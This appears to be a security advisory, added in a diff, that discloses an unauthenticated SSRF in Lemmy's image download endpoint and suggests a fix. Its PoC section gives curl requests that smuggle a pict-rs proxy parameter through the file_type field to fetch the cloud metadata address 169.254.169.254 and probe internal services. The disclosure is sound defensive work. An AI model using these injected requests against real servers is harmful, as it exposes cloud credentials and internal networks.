+ "details": "## Summary\n\nThe `GET /api/v4/image/{filename}` endpoint is vulnerable to unauthenticated SSRF through parameter injection in the `file_type` query parameter. An attacker can inject arbitrary query parameters into the internal request to pict-rs, including the `proxy` parameter which causes pict-rs to fetch arbitrary URLs.\n\n## Affected code\n\n`crates/routes/src/images/download.rs`, lines 17-40 (`get_image` function):\n\n```rust\npub async fn get_image(\n filename: Path<String>,\n Query(params): Query<ImageGetParams>,\n req: HttpRequest,\n context: Data<LemmyContext>,\n) -> LemmyResult<HttpResponse> {\n let name = &filename.into_inner();\n let pictrs_url = context.settings().pictrs()?.url;\n let processed_url = if params.file_type.is_none() && params.max_size.is_none() {\n format!(\"{}image/original/{}\", pictrs_url, name)\n } else {\n let file_type = file_type(params.file_type, name);\n let mut url = format!(\"{}image/process.{}?src={}\", pictrs_url, file_type, name);\n // ...\n };\n do_get_image(processed_url, req, &context).await\n}\n```\n\nThe `file_type` parameter (`ImageGetParams.file_type: Option<String>`) is directly interpolated into the URL string without any validation or encoding. Since pict-rs's `/image/process.{ext}` endpoint supports a `?proxy={url}` parameter for fetching remote images, an attacker can inject `?proxy=...` via `file_type` to make pict-rs fetch arbitrary URLs.\n\nThis endpoint does not require authentication (no `LocalUserView` extractor).\n\n## PoC\n\n```bash\n# Basic SSRF - make pict-rs fetch AWS metadata endpoint\n# The file_type value is: jpg?proxy=http://169.254.169.254/latest/meta-data&x=\n# This constructs: http://pictrs:8080/image/process.jpg?proxy=http://169.254.169.254/latest/meta-data&x=?src=anything\n\ncurl -v 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%26x%3D'\n\n# Scan internal services on the Docker network\ncurl -v 'https://TARGET/api/v4/image/anything?file_type=jpg%3Fproxy%3Dhttp%3A%2F%2Flemmy%3A8536%2Fapi%2Fv4%2Fsite%26x%3D'\n\n# The same issue exists in the image_proxy endpoint, but it requires the\n# proxy URL to exist in the remote_image table (RemoteImage::validate check),\n# making it harder to exploit.\n```\n\nThe response from the internal URL is streamed back to the attacker through pict-rs and Lemmy.\n\n## Impact\n\nAn unauthenticated attacker can:\n- Access cloud metadata services (AWS/GCP/Azure instance metadata) from the pict-rs service\n- Scan and interact with internal services on the Docker network (pict-rs is typically co-located with Lemmy, PostgreSQL, etc.)\n- Bypass the `RemoteImage::validate()` check that protects the `image_proxy` endpoint\n\n## Suggested Fix\n\nValidate the `file_type` parameter to only allow alphanumeric characters:\n\n```rust\nfn file_type(file_type: Option<String>, name: &str) -> String {\n let ft = file_type\n .unwrap_or_else(|| name.split('.').next_back().unwrap_or(\"jpg\").to_string());\n if ft.chars().all(|c| c.is_alphanumeric()) {\n ft\n } else {\n \"jpg\".to_string()\n }\n}\n```",
0 commit comments